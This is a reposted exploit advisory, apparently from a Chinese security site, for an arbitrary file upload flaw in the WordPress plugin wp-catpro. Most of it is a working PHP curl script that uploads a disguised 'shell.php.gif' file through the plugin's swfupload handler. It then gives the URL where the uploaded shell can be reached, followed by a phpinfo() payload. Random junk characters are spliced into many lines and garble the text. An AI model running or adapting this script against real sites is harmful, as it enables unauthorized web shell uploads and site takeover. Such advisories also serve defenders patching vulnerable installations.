WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

作者  => Zikou-16
7 T9 h) D& _& v邮箱 => zikou16x@gmail.com
, e. o) R! i- b7 t" x- m测试系统 : Windows 7 , Backtrack 5r3
+ u( D# P6 b7 z0 K下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
, A" M$ f- f: K( f& Y####
' Q3 t0 l: H8 O. y
, S# r- g' F% I9 Q) W9 ?- t  K#=> Exploit 信息:
------------------
# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
% n: J3 _0 i4 k& A# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------

8 R4 r# l9 j& m1 A#=> Exploit
-----------
<?php
1 L0 W- ~( ~- a/ A
$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
" m" }9 c! Z& W& E' o/ \6 L6 m5 p1 narray('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
: H( U& ]% j: B" c/ j2 B9 Z, i& l# {1 k$postResult = curl_exec($ch);
curl_close($ch);

0 H( B/ r8 \3 ?7 Sprint "$postResult";

Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
% K/ L" R& C# K, {6 _  ?>
6 w5 C" z& V: D4 M: j# l9 Y, N<?php
phpinfo();
* a) s9 ~+ a: l) R3 r8 {?>